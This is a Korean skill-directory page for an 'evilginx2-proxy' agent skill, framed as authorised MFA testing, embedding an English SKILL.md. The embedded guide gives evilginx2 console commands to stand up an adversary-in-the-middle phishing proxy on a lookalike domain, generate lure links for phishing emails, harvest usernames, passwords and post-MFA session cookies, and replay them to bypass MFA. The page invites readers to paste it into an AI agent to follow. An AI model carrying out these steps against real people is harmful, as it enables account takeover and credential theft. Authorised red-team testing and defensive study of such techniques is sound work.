본문으로 건너뛰기
Skillpedia
보안6.5k · #14115

evilginx2-proxy

하는 일

이 가이드는 로그인 페이지를 프록시로 감싸 다요소 인증 후 세션 토큰을 탈취할 수 있는지 보안 팀이 확인하는 허가된 테스트를 다룹니다. 서면 승인 아래 자체 로그인 보호를 테스트하는 ID 팀을 위한 것입니다.

사용하는 경우

  • ✓다요소 인증을 써도 세션 쿠키가 탈취될 수 있는지 허가된 테스트로 확인해야 할 때.
  • ✓ID 팀이 세션 토큰이 기기에 묶여 있거나 빨리 만료되는지 확인하려는 경우.
  • ✓블루팀에 통보했고 테스트 기간이 승인된 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“다요소 로그인 후에도 세션 쿠키가 보호되는지 테스트하려 합니다. 허가된 프록시 테스트 계획을 세우는 데 도와주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 테스트 로그인 페이지에 프록시를 설정하고, 로그인 후 세션 토큰이 나타나는지 기록하며, 어떤 보호가 재사용을 제한했거나 제한하지 못했는지 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

evilginx2 Phishlet (AiTM)

When the target enforces MFA, a static fake login page is useless — you need the authenticated session cookie. evilginx2 is an adversary-in-the-middle reverse proxy: the victim authenticates against the real site through your proxy, MFA included, and you capture the resulting session token for replay.

Prerequisites

  • evilginx2 in the sandbox; ports 443/53 free.
  • A lookalike domain with an A record to the sandbox and NS delegation so evilginx2 can answer ACME (lookalike-domain).
  • The lure-deconfliction handshake COMPLETE.

Deploy

# DNS + cert: evilginx manages Let's Encrypt automatically
evilginx2 -p /opt/evilginx/phishlets
# in the evilginx console:
config domain login.acme-portal.example
config ipv4 <sandbox-ip>
phishlets hostname o365 login.acme-portal.example
phishlets enable o365
lures create o365
lures get-url 0          # -> the link you put in the GoPhish email

Authoring a phishlet (when none ships for the target)

A phishlet is a YAML map of the target's auth hosts, the sub_filters that rewrite the real domain to yours in responses, and the auth_tokens (which cookies signal a completed login). Capture a normal login in a proxy, identify the session cookie(s) the app sets post-MFA, and list them under auth_tokens. Keep ACME challenge paths off the proxied auth path.

Capture + replay

# evilginx console: list captured sessions
sessions
sessions <id>            # shows username, password, and the tokens (cookie JSON)

Import the captured cookie JSON into a clean browser profile / a Cookie header to ride the authenticated session without re-triggering MFA.

Evidence

Captured session → Credential node (type session-token) linked to the User node with the lure id. Save the session JSON under evidence/phisher/<id>-session.json. Note the estimated token TTL.

OPSEC

  • One phishlet per engagement domain; rotate after the engagement.
  • The session token is the crown jewel — store ONLY in evidence/ + the knowledge graph, never anywhere off-box.
  • evilginx_disable_phishlet (phishlets disable o365) returns 502 on a SOC stop request.
자주 묻는 질문

다요소 인증만으로 충분하지 않은 이유는 무엇인가요?

가이드는 로그인 후 발급된 세션 쿠키가 묶이거나 만료되지 않으면 여전히 재사용될 수 있다고 말합니다.

방어 팀은 무엇을 확인해야 하나요?

토큰 수명, 기기 바인딩, 새 위치에서 재사용된 세션에 대한 경고를 확인해야 합니다.

테스트에 승인이 필요한가요?

네. 가이드는 테스트 실행 전에 완료된 허가와 방어 팀 통보를 요구합니다.

상세 정보

작성자의 원본 설명

Author and deploy an evilginx2 phishlet to reverse-proxy a real login and capture the post-authentication session cookie, defeating MFA via session-token theft.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14115
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬